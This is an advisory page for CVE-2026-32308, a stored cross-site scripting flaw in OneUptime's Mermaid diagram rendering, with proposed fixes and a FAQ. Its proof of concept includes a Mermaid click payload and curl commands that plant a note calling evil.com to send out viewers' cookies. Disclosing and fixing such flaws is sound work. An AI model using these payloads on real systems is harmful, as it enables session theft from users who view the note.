CVE-2026-32308: OneUptime: Stored XSS via Mermaid Diagram Rendering (securityLevel: "loose")
Summary
The Markdown viewer component renders Mermaid diagrams with securityLevel: "loose" and injects the SVG output via innerHTML. This configuration explicitly allows interactive event bindings in Mermaid diagrams, enabling XSS through Mermaid's click directive which can execute arbitrary JavaScript. Any field that renders markdown (incident descriptions, status page announcements, monitor notes) is vulnerable.
Details
Mermaid configuration — Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx:76:
typescript // MarkdownViewer.tsx:76 mermaid.initialize({ securityLevel: "loose", // Allows interactive event bindings // ... });
The Mermaid documentation explicitly warns: securityLevel: "loose" allows click events and other interactive bindings in diagrams. The safe default is "strict" which strips all interactivity.
SVG injection via innerHTML — MarkdownViewer.tsx:106:
typescript // MarkdownViewer.tsx:106 if (containerRef.current) { containerRef.current.innerHTML = svg; // Raw SVG injection }
After Mermaid renders the diagram to SVG, the SVG string is injected directly into the DOM via innerHTML. Combined with securityLevel: "loose", this allows event handlers embedded in the SVG to execute.
Mermaid XSS payload:
markdown mermaid graph TD A["Click me"] click A callback "javascript:fetch('https://evil.com/?c='+document.cookie)"
With securityLevel: "loose", Mermaid processes the click directive and creates an SVG element with an event handler that executes the JavaScript.
PoC
bash Authenticate TOKEN=$(curl -s -X POST 'https://TARGET/identity/login' \ -H 'Content-Type: application/json' \ -d '{"email":"user@example.com","password":"password123"}' \ | jq -r '.token')
Create an incident note with Mermaid XSS payload curl -s -X POST 'https://TARGET/api/incident-note' \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -H 'tenantid: PROJECTID' \ -d '{ "data": { "incidentId": "INCIDENTID", "note": "## Root Cause Analysis\n\nmermaid\ngraph TD\n A[\"Load Balancer\"] --> B[\"App Server\"]\n click A callback \"javascript:fetch('"'"'https://evil.com/?c='"'"'+document.cookie)\"\n", "noteType": "RootCause" } }'
Any user viewing this incident note will have their cookies exfiltrated
bash Verify the vulnerability in source code:
1. securityLevel: "loose": grep -n 'securityLevel' Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx Line 76: securityLevel: "loose"
2. innerHTML injection: grep -n 'innerHTML' Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx Line 106: containerRef.current.innerHTML = svg
Impact
Stored XSS in any markdown-rendered field. Affects:
1. Incident notes/descriptions — viewed by on-call engineers during incidents 2. Status page announcements — viewed by public visitors 3. Monitor descriptions — viewed by team members 4. Any markdown field — the MarkdownViewer component is shared across the UI
The "loose" security level combined with innerHTML injection allows arbitrary JavaScript execution in the context of the OneUptime application.
Proposed Fix
typescript // 1. Change securityLevel to "strict" (default safe mode): mermaid.initialize({ securityLevel: "strict", // Strips all interactive bindings // ... });
// 2. Use DOMPurify on the SVG output before innerHTML injection: import DOMPurify from "dompurify";
if (containerRef.current) { containerRef.current.innerHTML = DOMPurify.sanitize(svg, { USEPROFILES: { svg: true, svgFilters: true }, ADDTAGS: ['foreignObject'], }); }
Other sources
OneUptime is a solution for monitoring and managing online services. Prior to 10.0.23, the Markdown viewer component renders Mermaid diagrams with securityLevel: "loose" and injects the SVG output via innerHTML. This configuration explicitly allows interactive event bindings in Mermaid diagrams, enabling XSS through Mermaid's click directive which can execute arbitrary JavaScript. Any field that renders markdown (incident descriptions, status page announcements, monitor notes) is vulnerable. This vulnerability is fixed in 10.0.23.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/oneuptimeto a version that resolves this vulnerability.Fixed in 10.0.23 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 10.0.23 - Configuration
Change Mermaid securityLevel from "loose" to "strict" to strip interactive bindings.
OneUptime MarkdownViewer Mermaid configuration securityLevel = strict - Compensating control
Sanitize Mermaid SVG output with DOMPurify before assigning it to innerHTML, using the documented SVG profile options: USE_PROFILES: { svg: true, svgFilters: true }.
Event History
Frequently Asked Questions
What is the severity of CVE-2026-32308?
The severity of CVE-2026-32308 is classified as a moderate risk due to potential stored XSS vulnerabilities.
How do I fix CVE-2026-32308?
To mitigate CVE-2026-32308, update OneUptime to version 10.0.23 or later where the vulnerability is addressed.
What products are affected by CVE-2026-32308?
CVE-2026-32308 affects OneUptime versions prior to 10.0.23.
What type of vulnerability is CVE-2026-32308?
CVE-2026-32308 is a stored cross-site scripting (XSS) vulnerability.
How does CVE-2026-32308 occur?
CVE-2026-32308 occurs when the Markdown viewer component renders Mermaid diagrams with a loose securityLevel, allowing SVG content to be injected via innerHTML.